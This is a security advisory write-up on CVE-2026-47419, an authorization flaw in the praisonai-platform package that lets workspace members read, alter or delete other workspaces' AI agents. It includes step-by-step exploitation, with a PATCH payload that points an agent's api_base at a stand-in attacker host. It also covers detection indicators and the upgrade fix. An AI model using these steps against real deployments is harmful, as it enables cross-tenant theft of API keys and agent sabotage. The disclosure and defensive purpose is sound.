CVE-2026-47419: 
Python vulnerability analysis and mitigation

CVE-2026-47419 is an Insecure Direct Object Reference (IDOR) vulnerability in the praisonai-platform Python package that allows any authenticated workspace member to read, modify, or delete AI agents belonging to other workspaces. The flaw affects versions ≤ 0.1.2 of praisonai-platform (pip) and was patched in version 0.1.4. It was first published by MervinPraison on May 19, 2026, and added to the GitHub Advisory Database on June 5, 2026. The vulnerability carries a CVSS v3.1 base score of 8.3 (High) (GitHub Advisory, PraisonAI Advisory).

The root cause is CWE-639 (Authorization Bypass Through User-Controlled Key): the agent CRUD route handlers (GET / PATCH / DELETE /workspaces/{workspace_id}/agents/{agent_id}) validate only that the caller is a member of the workspace specified in the URL path via require_workspace_member(workspace_id), but never pass workspace_id to the service layer. AgentService.get(agent_id) executes SELECT * FROM agents WHERE id = :agent_id with no AND workspace_id = :workspace_id predicate, so any agent in the database is returned regardless of which workspace it belongs to. The update and delete methods both call self.get(agent_id) internally, inheriting the same gap. By contrast, MemberService.get(workspace_id, user_id) correctly uses a composite key — the agent service simply omits the second predicate. Affected files are src/praisonai-platform/praisonai_platform/services/agent_service.py (lines 53–112) and src/praisonai-platform/praisonai_platform/api/routes/agents.py (lines 53–100) (GitHub Advisory).

A successful exploit grants an attacker full read access to a target agent's record, including proprietary system prompt instructions, runtime_config (which may contain LLM provider API keys in BYOK deployments), owner_id, and status. The attacker can also overwrite these fields — for example, redirecting the agent's LLM traffic to an attacker-controlled endpoint to proxy and log all prompts or inject malicious responses — or delete the agent entirely, destroying a competitor workspace's agent fleet. The impact is scoped to the multi-tenant platform itself (scope unchanged), but the confidentiality and integrity consequences are high, with low availability impact from agent deletion (PraisonAI Advisory).

1. Obtain a workspace membership token: Register an account on the target praisonai-platform deployment and join or create any workspace (W_attacker). Authenticate to obtain a Bearer token.
2. Harvest a target agent UUID: Collect a target agent's UUID (A_T) from a workspace the attacker does not belong to (W_target) via side channels such as activity feed entries (activity.py logs entity_id=agent.id), webhook payloads, issue body mentions, error messages, or exported issue dumps.
3. Read the target agent (GET): Send GET /workspaces/W_attacker/agents/A_T with Authorization: Bearer <token>. The require_workspace_member check passes (attacker is a member of W_attacker), and AgentService.get(A_T) returns the full agent record — including instructions, runtime_config, and API keys — even though agent.workspace_id == W_target.
4. Modify the target agent (PATCH): Send PATCH /workspaces/W_attacker/agents/A_T with a body such as {"instructions": "<malicious prompt>", "runtime_mode": "cloud", "runtime_config": {"api_base": "https://attacker.example/v1", "api_key": ""}}. This redirects the target agent's LLM traffic to an attacker-controlled proxy.
5. Delete the target agent (DELETE): Optionally send DELETE /workspaces/W_attacker/agents/A_T to permanently destroy the target workspace's agent, or repeat steps 3–4 across all harvested UUIDs to backdoor or wipe the entire agent fleet (PraisonAI Advisory).

• Network: HTTP GET/PATCH/DELETE requests to /workspaces/<W1>/agents/<agent_id> where the workspace_id in the path does not match the workspace_id stored in the agent record; repeated requests to agent endpoints from a single token across multiple agent UUIDs in a short time window.
• Logs: Application logs showing successful 200 responses to agent read/update/delete endpoints where the resolved agent.workspace_id differs from the path workspace_id; activity feed entries (entity_id) for agents accessed by users not belonging to the agent's workspace.
• Behavioral: Sudden changes to agent instructions or runtime_config fields (especially api_base pointing to external or unknown hosts); agents unexpectedly deleted or set to error status; LLM traffic from a workspace's agents routed to an unrecognized API endpoint (PraisonAI Advisory).

Upgrade praisonai-platform to version 0.1.4 or later, which scopes all agent lookups to the requesting workspace by adding a composite WHERE id = :agent_id AND workspace_id = :workspace_id predicate to AgentService.get, update, and delete. No configuration-based workaround is available for versions ≤ 0.1.2; the only remediation is upgrading. Operators should also audit IssueService, ProjectService, CommentService, and LabelService for the same single-key lookup pattern, as the advisory notes these services may have analogous gaps requiring separate fixes (GitHub Advisory, PraisonAI Advisory).